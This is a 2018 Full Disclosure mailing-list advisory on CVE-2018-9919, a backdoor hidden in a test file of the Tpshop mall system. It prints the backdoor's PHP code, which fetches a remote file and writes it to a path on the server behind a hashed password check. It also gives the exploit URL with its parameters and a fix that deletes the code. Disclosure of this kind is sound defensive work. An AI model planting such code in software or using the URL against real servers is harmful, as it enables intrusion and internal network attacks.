[prev in list] [next in list] [prev in thread] [next in thread]
List: full-disclosure
Subject: [FD] Backdoor in Tpshop <= 2.0.8 (CVE-2018-9919)
From: "service () baimaohui ! net" <service () baimaohui ! net>
Date: 2018-04-28 8:59:57
Message-ID: 201804281659526712744 () baimaohui ! net+8916EE70C42E4BFD
[Download RAW message or body]
# Backdoor in Tpshop <= 2.0.8 (CVE-2018-9919)
The Tpshop open source mall system is a multi-merchant mode mall system developed by Shenzhen \
Leopard Network Co., Ltd.This system is based on the Thinkphp development framework.
## Product Download: http://www.tp-shop.cn/Index/Index/download.html
## Vulnerability Type£ºWeb Backdoor
## Attack Type : Web Backdoor
## Vulnerability Description
Tpshop has a backdoor code in the \
'/vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php' \
that can be used to download files to the other server and can also initiate attacks through \
SSRF vulnerabilities.
The vulnerability code:
/vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php(Line \
486 to 499): $path = $_REQUEST['bddlj'];
$fileUrl =$_REQUEST['down_url'];
if(md5(md5($_REQUEST['jmmy'])) !== 'caae8ca617372b67363bd284e98430f2')
return false;
$path = strtolower($path);
if(strstr($path,'php')) return false;
$ch = curl_init($fileUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_BINARYTRANSFER,1);
$file = curl_exec ($ch);
curl_close ($ch);
$fp = fopen($path,'w');
fwrite($fp, $file);
fclose($fp);
## Exploit
The attacker can exploit this vulnerability to attack the server and increase its \
privileges,Example: download arbitrary files£¬scan network port£¬information detection,attack \
internal network vulnerable¡¯s server.
http://target//vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php?bddlj=save_filename&down_url=download_url&jmmy=decryptpass
## Versions
Tpshop <= 2.0.8
## Impact
Web Backdoor in Tp-shop 2.0.5-2.0.8 version allow remote attackers to download arbitrary \
files£¬scan network port£¬information detection,attack internal network vulnerable¡¯s \
server£¬may even cause a remote command execution via the url parameter¡£
## Repairs
Delete Web Backdoor code. \
(/vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php(Line \
486 to 499))
## Credit
This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer \
Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC)
## References
CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9919
Best wishes!
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic